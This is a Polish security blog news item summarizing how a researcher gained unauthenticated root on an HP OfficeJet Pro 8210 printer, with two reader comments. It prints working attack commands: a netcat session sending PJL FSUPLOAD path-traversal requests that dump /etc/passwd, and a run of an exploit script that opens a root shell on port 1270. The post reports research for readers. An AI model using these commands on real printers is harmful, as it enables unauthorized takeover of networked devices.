Preorder drugiego tomu książki sekuraka: Wprowadzenie do bezpieczeństwa IT. -15% z kodem: sekurak-book

Tak długo rozmawiał z drukarką HP aż dostał roota bez uwierzytelnienia

21 czerwca 2017, 19:45 | W biegu | komentarze 2

Dość dokładny opis rootowania drukarki HP OfficeJet Pro 8210. Rozmowa odbywała się protokołem PJL. Od zwykłego odpytania o nazwę drukarki:

albinolobster@ubuntu:~$ nc 192.168.1.159 9100
@PJL INFO ID
@PJL INFO ID
"HP OfficeJet Pro 8210"

przez Path Traversal:

@PJL FSUPLOAD NAME="../../etc/passwd" OFFSET=0 SIZE=648
@PJL FSUPLOAD FORMAT:BINARY NAME="../../etc/passwd" OFFSET=0 SIZE=648
root:x:0:0:root:/var/root:/bin/sh
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:100:sync:/bin:/bin/sync
mail:x:8:8:mail:/var/spool/mail:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
operator:x:37:37:Operator:/var:/bin/sh
haldaemon:x:68:68:hald:/:/bin/sh
dbus:x:81:81:dbus:/var/run/dbus:/bin/sh
ftp:x:83:83:ftp:/home/ftp:/bin/sh
nobody:x:99:99:nobody:/home:/bin/sh
sshd:x:103:99:Operator:/var:/bin/sh
default:x:1000:1000:Default non-root user:/home/default:/bin/sh
 _ntp:x:100:99:Linux User,,,:/run/ntp:/bin/false

aż po nieudane próby, zakończone w kilku iteracjach sukcesem (tak, poniższy skrypt w pythonie też jest dostępny w cytowanym artykule).

albinolobster@ubuntu:~$ python printer_exploit.py 192.168.1.158 9100
connecting to 192.168.1.158 port 9100
@PJL FSQUERY NAME="0:/../../rw/var/etc/profile.d/lol.sh" TYPE=FILE SIZE=119
Done! Try port 1270 in ~30 seconds
albinolobster@ubuntu:~$ nc 192.168.1.158 1270
whoami
root

Dla tych którzy chcą mieć masę materiałów do własnego researchu polecam też pracę: Exploiting Network Printers.

–ms

 

Spodobał Ci się wpis? Podziel się nim ze znajomymi:



Komentarze

  1. Tomasz

    Jak to jest że ciągle popełniane są takie same błędy…, powiedziałbym że książkowe?

    Odpowiedz
  2. 1. Nie każdy developer zdaje sobie z tego sprawę
    2. Ciśnienie na różnych projektach powoduje, że pomija się pewne praktyki tworząc dług techniczny
    3. Pomijane są lub robione po łepkach pewne testy. Najczęściej wydajnościowe i bezpieczeństwa
    4. Może ktoś zrobił założenie, że włamanie do takiej drukarki to niskie ryzyko

    Odpowiedz

Odpowiedz